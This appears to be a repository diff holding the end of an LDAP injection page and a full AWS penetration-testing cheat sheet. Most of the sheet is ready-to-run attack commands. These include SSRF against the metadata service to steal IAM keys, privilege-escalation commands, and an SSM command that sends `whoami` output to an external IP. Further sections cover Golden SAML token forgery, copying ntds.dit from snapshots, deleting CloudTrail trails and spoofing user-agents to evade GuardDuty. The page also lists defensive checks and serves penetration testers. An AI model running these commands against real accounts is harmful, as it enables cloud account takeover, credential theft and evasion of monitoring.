By [noraj](https://github.com/noraj)
## Google Dorks
```
intitle:"phpLDAPadmin" inurl:cmd.php
```
Ref. [5][5]
## References
* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/WriteUpECW2018AdmYSsion/)
* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
* \[5] [LDAP Injection - HackTricks][5]
[5]:https://book.hacktricks.xyz/pentesting-web/ldap-injection

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,611 @@
# AWS
> Amazon Web Services offers reliable, scalable, and inexpensive cloud computing services.
## Summary
* [Training](#training)
* [Tools](#tools)
* [AWS - Patterns](#aws---patterns)
* [AWS - Metadata SSRF](#aws---metadata-ssrf)
* [Method for Elastic Cloud Compute (EC2)](#method-for-elastic-cloud-compute-ec2)
* [Method for Container Service (Fargate)](#method-for-container-service-fargate)
* [AWS - Shadow Admin](#aws---shadow-admin)
* [Admin equivalent permission](#admin-equivalent-permission)
* [AWS - Gaining AWS Console Access via API Keys](#aws---gaining-aws-console-access-via-api-keys)
* [AWS - Mount EBS volume to EC2 Linux](#aws---mount-ebs-volume-to-ec2-linux)
* [AWS - Copy EC2 using AMI Image](#aws---copy-ec2-using-ami-image)
* [AWS - Instance Connect - Push an SSH key to EC2 instance](#aws---instance-connect---push-an-ssh-key-to-ec2-instance)
* [AWS - Lambda - Extract function's code](#aws---lambda---extract-functions-code)
* [AWS - SSM - Command execution](#aws---ssm---command-execution)
* [AWS - Golden SAML Attack](#aws---golden-saml-attack)
* [AWS - Shadow Copy Attack](#aws---shadow-copy-attack)
* [Cover tracks by obfuscating Cloudtrail logs and Guard Duty](#cover-tracks-by-obfuscating-cloudtrail-logs-and-guard-duty)
* [PenTest:IAMUser/KaliLinux](#)
* [PenTest:IAMUser/ParrotLinux](#)
* [PenTest:IAMUser/PentooLinux](#)
* [Security checks](#security-checks)
* [References](#references)
## Training
* Damn Vulnerable Cloud Application - https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6
* SadCloud - https://github.com/nccgroup/sadcloud
* Flaws - http://flaws.cloud
## Tools
* **SkyArk** - Discover the most privileged users in the scanned AWS environment - including the AWS Shadow Admins.
Require:
- Read-Only permissions over IAM service
```powershell
$ git clone https://github.com/cyberark/SkyArk
$ powershell -ExecutionPolicy Bypass -NoProfile
PS C> Import-Module .\SkyArk.ps1 -force
PS C> Start-AWStealth
or in the Cloud Console
PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AWStealth/AWStealth.ps1')
PS C> Scan-AWShadowAdmins
```
* **Pacu** - Pacu allows penetration testers to exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set.
Require:
- AWS Keys
```powershell
$ git clone https://github.com/RhinoSecurityLabs/pacu
$ bash install.sh
$ python3 pacu.py
set_keys/swap_keys
ls
run <module_name> [--keyword-arguments]
run <module_name> --regions eu-west-1,us-west-1
# https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
```
* **Prowler** : AWS Security Best Practices Assessment, Auditing, Hardening and Forensics Readiness Tool. It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100).
Require:
- arn:aws:iam::aws:policy/SecurityAudit
```powershell
$ pip install awscli ansi2html detect-secrets
$ git clone https://github.com/toniblyx/prowler
$ sudo apt install jq
$ ./prowler -E check42,check43
$ ./prowler -p custom-profile -r us-east-1 -c check11
$ ./prowler -A 123456789012 -R ProwlerRole # sts assume-role
```
* **Principal Mapper** : A tool for quickly evaluating IAM permissions in AWS
```powershell
https://github.com/nccgroup/PMapper
pip install principalmapper
pmapper graph --create
pmapper visualize --filetype png
pmapper analysis --output-type text
# Determine if PowerUser can escalate privileges
pmapper query "preset privesc user/PowerUser"
pmapper argquery --principal user/PowerUser --preset privesc
# Find all principals that can escalate privileges
pmapper query "preset privesc *"
pmapper argquery --principal '*' --preset privesc
# Find all principals that PowerUser can access
pmapper query "preset connected user/PowerUser *"
pmapper argquery --principal user/PowerUser --resource '*' --preset connected
# Find all principals that can access PowerUser
pmapper query "preset connected * user/PowerUser"
pmapper argquery --principal '*' --resource user/PowerUser --preset connected
```
* **ScoutSuite** : https://github.com/nccgroup/ScoutSuite/wiki
```powershell
$ git clone https://github.com/nccgroup/ScoutSuite
$ python scout.py PROVIDER --help
# The --session-token is optional and only used for temporary credentials (i.e. role assumption).
$ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --secret-access-key <wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY> --session-token <token>
$ python scout.py azure --cli
```
* **weirdAAL** : AWS Attack Library https://github.com/carnal0wnage/weirdAAL/wiki
```powershell
python3 weirdAAL.py -m ec2_describe_instances -t demo
python3 weirdAAL.py -m lambda_get_account_settings -t demo
python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' -t yolo
```
* **cloudmapper** : CloudMapper helps you analyze your Amazon Web Services (AWS) environments.
```powershell
git clone https://github.com/duo-labs/cloudmapper.git
# sudo yum install autoconf automake libtool python3-devel.x86_64 python3-tkinter python-pip jq awscli
# You may additionally need "build-essential"
sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq awscli
pipenv install --skip-lock
pipenv shell
report: Generate HTML report. Includes summary of the accounts and audit findings.
iam_report: Generate HTML report for the IAM information of an account.
audit: Check for potential misconfigurations.
collect: Collect metadata about an account.
find_admins: Look at IAM policies to identify admin users and roles, or principals with specific privileges
```
## AWS Patterns
| Service | URL |
|-------------|--------|
| s3 | https://{user_provided}.s3.amazonaws.com |
| cloudfront | https://{random_id}.cloudfront.net |
| ec2 | ec2-{ip-seperated}.compute-1.amazonaws.com |
| es | https://{user_provided}-{random_id}.{region}.es.amazonaws.com |
| elb | http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 |
| elbv2 | https://{user_provided}-{random_id}.{region}.elb.amazonaws.com |
| rds | mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 |
| rds | postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 |
| route 53 | {user_provided} |
| execute-api | https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} |
| cloudsearch | https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com |
| transfer | sftp://s-{random_id}.server.transfer.{region}.amazonaws.com |
| iot | mqtt://{random_id}.iot.{region}.amazonaws.com:8883 |
| iot | https://{random_id}.iot.{region}.amazonaws.com:8443 |
| iot | https://{random_id}.iot.{region}.amazonaws.com:443 |
| mq | https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162 |
| mq | ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 |
| kafka | b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com |
| kafka | {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com |
| cloud9 | https://{random_id}.vfs.cloud9.{region}.amazonaws.com |
| mediastore | https://{random_id}.data.mediastore.{region}.amazonaws.com |
| kinesisvideo | https://{random_id}.kinesisvideo.{region}.amazonaws.com |
| mediaconvert | https://{random_id}.mediaconvert.{region}.amazonaws.com |
| mediapackage | https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel |
## AWS - Metadata SSRF
> AWS released an additional security defences against the attack.
:warning: Only working with IMDSv1.
Enabling IMDSv2 : `aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required`.
In order to usr IMDSv2 you must provide a token.
```powershell
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
```
### Method for Elastic Cloud Compute (EC2)
Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
1. Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/
```powershell
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
```
2. Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
```powershell
{
"Code" : "Success",
"LastUpdated" : "2019-07-31T23:08:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
"Expiration" : "2019-08-01T05:20:30Z"
}
```
### Method for Container Service (Fargate)
1. Fetch the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable from https://awesomeapp.com/download?file=/proc/self/environ
```powershell
JAVA_ALPINE_VERSION=8.212.04-r0
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjd
```
2. Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
```powershell
{
"RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role",
"AccessKeyId": "ASIA54BL6PJR2L75XHVS",
"SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt",
"Token": "FQoGZXIvYXdzEMj//////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKBtLMoWCEyYklw6YX85koqNwKMYrP6ymcjv4X2gF5enPi9/Dx6m/1TTFIwMzZ3tf4V3rWP3HDt1ea6oygzTrWLvfdp57sKj+2ccXI+WWPDZh3eJr4Wt4JkiiXrWANn7Bx3BUj9ZM11RXrKRCvhrxdrMLoewRkWmErNEOFgbaCaT8WeOkzqli4f+Q36ZerT2V+FJ4SWDX1CBsimnDAMAdTIRSLFxVBBwW8171OHiBOYAMK2np1xAW1d3UCcZcGKKZTjBee2zs5+Rf5Nfkoq+j7GQkmD2PwCeAf0RFETB5EVePNtlBWpzfOOVBtsTUTFewFfx5cyNsitD3C2N93WR59LX/rNxyncHGDUP/6UPlasOcfzAaG738OJQmWfQTR0qksHIc2qiPtkstnNndh76is+r+Jc4q3wOWu2U2UBi44Hj+OS2UTpMAwc/MshIiGsUOrBQdPqcLLdAxKpUNTdSQNLg5wv4f2OrOI8/sneV58yBRolBz8DZoH8wohtLXpueDt8jsVSVLznnMOOe/4ehHE2Nt+Fy+tjaY5FUi/Ijdd5IrIdIvWFHY1XcPopUFYrDqr0yuZvX1YddfIcfdbmxf274v69FuuywXTo7cXk1QTMYZWlD/dPI/k6KQeO446UrHT9BJxcJMpchAIVRpI7nVKkSDwku1joKUG7DOeycuAbhecVZG825TocL0ks2yXPnIdvckAaU9DZf+afIV3Nxv3TI4sSX1npBhb2f/8C31pv8VHyu2NiN5V6OOHzZijHsYXsBQ==",
"Expiration": "2019-09-18T04:05:59Z"
}
```
## AWS - Shadow Admin
### Admin equivalent permission
- AdministratorAccess
```powershell
"Action": "*"
"Resource": "*"
```
- ec2:AssociateIamInstanceProfile
- **iam:CreateAccessKey**iam:CreateAccessKey : create a new access key to another IAM admin account
```powershell
aws iam create-access-key user-name target_user
```
- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it
```powershell
$ aws iam create-login-profile user-name target_user password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' no-password-reset-required
```
- **iam:UpdateLoginProfile** : reset other IAM users login passwords.
```powershell
$ aws iam update-login-profile user-name target_user password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' no-password-reset-required
```
- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses
```powershell
$ aws iam attach-user-policy user-name my_username policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-user-policy user-name my_username policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-role-policy role-name role_i_can_assume policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```
- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
```powershell
$ aws iam put-user-policy user-name my_username policy-name my_inline_policy policy-document file://path/to/administrator/policy.json
```
- **iam:CreatePolicy** : add a stealthy admin policy
- **iam:AddUserToGroup** : add into the admin group of the organization.
```powershell
$ aws iam add-user-to-group group-name target_group user-name my_username
```
- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
```powershell
$ aws iam update-assume-role-policy role-name role_i_can_assume policy-document file://path/to/assume/role/policy.json
```
- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.
```powershell
$ aws iam create-policy-version policy-arn target_policy_arn policy-document file://path/to/administrator/policy.json set-as-default
$ aws iam set-default-policy-version policy-arn target_policy_arn version-id v2
```
- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
```powershell
$ aws lambda update-function-code function-name target_function zip-file fileb://my/lambda/code/zipped.zip
```
- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
```powershell
$ aws glue endpoint-name target_endpoint public-key file://path/to/my/public/ssh/key.pub
```
- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
```powershell
# add ssh key
$ aws ec2 run-instances image-id ami-a4dc46db instance-type t2.micro iam-instance-profile Name=iam-full-access-ip key-name my_ssh_key security-group-ids sg-123456
# execute a reverse shell
$ aws ec2 run-instances image-id ami-a4dc46db instance-type t2.micro iam-instance-profile Name=iam-full-access-ip user-data file://script/with/reverse/shell.sh
```
- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.
```powershell
$ aws lambda create-function function-name my_function runtime python3.6 role arn_of_lambda_role handler lambda_function.lambda_handler code file://my/python/code.py
$ aws lambda invoke function-name my_function output.txt
```
Example of code.py
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
```
* **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account.
```powershell
$ aws glue create-dev-endpoint endpoint-name my_dev_endpoint role-arn arn_of_glue_service_role public-key file://path/to/my/public/ssh/key.pub
```
## AWS - Gaining AWS Console Access via API Keys
A utility to convert your AWS CLI credentials into AWS console access.
```powershell
$> git clone https://github.com/NetSPI/aws_consoler
$> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED]
2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments...
2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic.
2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established.
2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session.
2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established.
2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to federate as arn:aws:sts::123456789012:federated-user/aws_consoler.
2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated!
https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED
```
## AWS - Mount EBS volume to EC2 Linux
:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.
Step 1: Head over to EC2 > Volumes and create a new volume of your preferred size and type.
Step 2: Select the created volume, right click and select the "attach volume" option.
Step 3: Select the instance from the instance text box as shown below : `attach ebs volume`
```powershell
aws ec2 create-volume snapshot-id snapshot_id --availability-zone zone
aws ec2 attach-volume -volume-id volume_id -instance-id instance_id --device device
```
Step 4: Now, login to your ec2 instance and list the available disks using the following command : `lsblk`
Step 5: Check if the volume has any data using the following command : `sudo file -s /dev/xvdf`
Step 6: Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf`
Step 7: Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume`
Step 8: Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/`
Step 9: cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .`
## AWS - Copy EC2 using AMI Image
First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1`
```powershell
# create a new image for the instance-id
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
```
## AWS - Instance Connect - Push an SSH key to EC2 instance
```powershell
# https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/
$ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
$ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds
```
## AWS - Lambda - Extract function's code
```powershell
# https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed
$ aws lambda list-functions --profile uploadcreds
$ aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
$ wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
```
## AWS - SSM - Command execution
:warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled.
SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs):
* Windows Server 2008-2012 R2 AMIs published in November 2016 or later
* Windows Server 2016 and 2019
* Amazon Linux
* Amazon Linux 2
* Ubuntu Server 16.04
* Ubuntu Server 18.04
* Amazon ECS-Optimized
```powershell
$ aws ssm describe-instance-information --profile stolencreds --region eu-west-1
$ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
$ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
e.g:
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1
```
## AWS - Golden SAML Attack
https://www.youtube.com/watch?v=5dj4vOqqGZw
https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/
> Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user's password. This attack also bypasses any MFA requirements.
Requirement:
* Token-signing private key (export from personnal store using Mimikatz)
* IdP public certificate
* IdP name
* Role name (role to assume)
```powershell
$ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
$ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
```
## AWS - Shadow Copy attack
Prerequisite:
* EC2:CreateSnapshot
* CloudCopy - https://github.com/Static-Flow/CloudCopy
1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
2. Run `"Describe-Instances"` and show in list for attacker to select
3. Run `"Create-Snapshot"` on volume of selected instance
4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account
5. Load AWS CLI with Attacker Credentials
6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot
7. Ssh run `"sudo mkdir /windows"`
8. Ssh run `"sudo mount /dev/xvdf1 /windows/"`
9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"`
10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"`
11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"`
12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"`
13. SFTP get `"/home/ec2-user/ntds.dit ./ntds.dit"`
14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'`, expects secretsdump to be on path
## Disable CloudTrail
```powershell
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
```
Disable monitoring of events from global services
```powershell
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event
```
Disable Cloud Trail on specific regions
```powershell
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
```
## Cover tracks by obfuscating Cloudtrail logs and Guard Duty
:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.
Pacu bypass this problem by defining a custom User-agent (https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1473)
```python
boto3_session = boto3.session.Session()
ua = boto3_session._session.user_agent()
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): # If the local OS is Kali/Parrot/Pentoo Linux
# GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that...
self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')
```
### PenTest:IAMUser/KaliLinux
#### Finding description
**An API was invoked from a Kali Linux EC2 instance\.**
This finding informs you that a machine running Kali Linux is making API calls using credentials that belong to your AWS account\. Your credentials might be compromised\. Kali Linux is a popular penetration testing tool that security professionals use to identify weaknesses in EC2 instances that require patching\. Attackers also use this tool to find EC2 configuration weaknesses and gain unauthorized access to your AWS environment\. For more information, see [Remediating Compromised AWS Credentials](guardduty_remediate.md#compromised-creds)\.
#### Default severity: Medium
### PenTest:IAMUser/ParrotLinux
#### Finding description
**An API was invoked from a Parrot Security Linux EC2 instance\.**
This finding informs you that a machine running Parrot Security Linux is making API calls using credentials that belong to your AWS account\. Your credentials might be compromised\. Parrot Security Linux is a popular penetration testing tool that security professionals use to identify weaknesses in EC2 instances that require patching\. Attackers also use this tool to find EC2 configuration weaknesses and gain unauthorized access to your AWS environment\. For more information, see [Remediating Compromised AWS Credentials](guardduty_remediate.md#compromised-creds)\.
#### Default severity: Medium
### PenTest:IAMUser/PentooLinux
#### Finding description
**An API was invoked from a Pentoo Linux EC2 instance\.**
This finding informs you that a machine running Pentoo Linux is making API calls using credentials that belong to your AWS account\. Your credentials might be compromised\. Pentoo Linux is a popular penetration testing tool that security professionals use to identify weaknesses in EC2 instances that require patching\. Attackers also use this tool to find EC2 configuration weaknesses and gain unauthorized access to your AWS environment\. For more information, see [Remediating Compromised AWS Credentials](guardduty_remediate.md#compromised-creds)\.
#### Default severity: Medium<a name="pentest3_severity"></a>
## Security checks
https://github.com/DenizParlak/Zeus
* Identity and Access Management
* Avoid the use of the "root" account
* Ensure multi-factor authentication (MFA) is enabled for all IAM users that have a console password
* Ensure credentials unused for 90 days or greater are disabled
* Ensure access keys are rotated every 90 days or less
* Ensure IAM password policy requires at least one uppercase letter
* Ensure IAM password policy requires at least one lowercase letter
* Ensure IAM password policy requires at least one symbol
* Ensure IAM password policy requires at least one number
* Ensure IAM password policy requires minimum length of 14 or greater
* Ensure no root account access key exists
* Ensure MFA is enabled for the "root" account
* Ensure security questions are registered in the AWS account
* Ensure IAM policies are attached only to groups or role
* Enable detailed billing
* Maintain current contact details
* Ensure security contact information is registered
* Ensure IAM instance roles are used for AWS resource access from instances
* Logging
* Ensure CloudTrail is enabled in all regions
* Ensure CloudTrail log file validation is enabled
* Ensure the S3 bucket CloudTrail logs to is not publicly accessible
* Ensure CloudTrail trails are integrated with CloudWatch Logs
* Ensure AWS Config is enabled in all regions
* Ensure S3 bucket access logging is enabled on the CloudTrail S3 bucket
* Ensure CloudTrail logs are encrypted at rest using KMS CMKs
* Ensure rotation for customer created CMKs is enabled
* Networking
* Ensure no security groups allow ingress from 0.0.0.0/0 to port 22
* Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389
* Ensure VPC flow logging is enabled in all VPC
* Ensure the default security group of every VPC restricts all traffic
* Monitoring
* Ensure a log metric filter and alarm exist for unauthorized API calls
* Ensure a log metric filter and alarm exist for Management Consolesign-in without MFA
* Ensure a log metric filter and alarm exist for usage of "root" account
* Ensure a log metric filter and alarm exist for IAM policy changes
* Ensure a log metric filter and alarm exist for CloudTrail configuration changes
* Ensure a log metric filter and alarm exist for AWS Management Console authentication failures
* Ensure a log metric filter and alarm exist for disabling or scheduled deletion of customer created CMKs
* Ensure a log metric filter and alarm exist for S3 bucket policy changes
* Ensure a log metric filter and alarm exist for AWS Config configuration changes
* Ensure a log metric filter and alarm exist for security group changes
* Ensure a log metric filter and alarm exist for changes to NetworkAccess Control Lists (NACL)
* Ensure a log metric filter and alarm exist for changes to network gateways
* Ensure a log metric filter and alarm exist for route table changes
* Ensure a log metric filter and alarm exist for VPC changes
## References
* [An introduction to penetration testing AWS - Graceful Security](https://www.gracefulsecurity.com/an-introduction-to-penetration-testing-aws/)
* [Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk](https://www.cyberark.com/threat-research-blog/cloud-shadow-admin-threat-10-permissions-protect/)
* [My arsenal of AWS Security tools - toniblyx](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
* [AWS Privilege Escalation method mitigation - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [AWS CLI Cheatsheet - apolloclark](https://gist.github.com/apolloclark/b3f60c1f68aa972d324b)
* [Pacu Open source AWS Exploitation framework - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/)
* [PACU Spencer Gietzen - 30 juil. 2018](https://www.youtube.com/watch?v=XfetW1Vqybw&feature=youtu.be&list=PLBID4NiuWSmfdWCmYGDQtlPABFHN7HyD5)
* [Cloud security instance metadata - PumaScan](https://pumascan.com/resources/cloud-security-instance-metadata/)
* [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6)
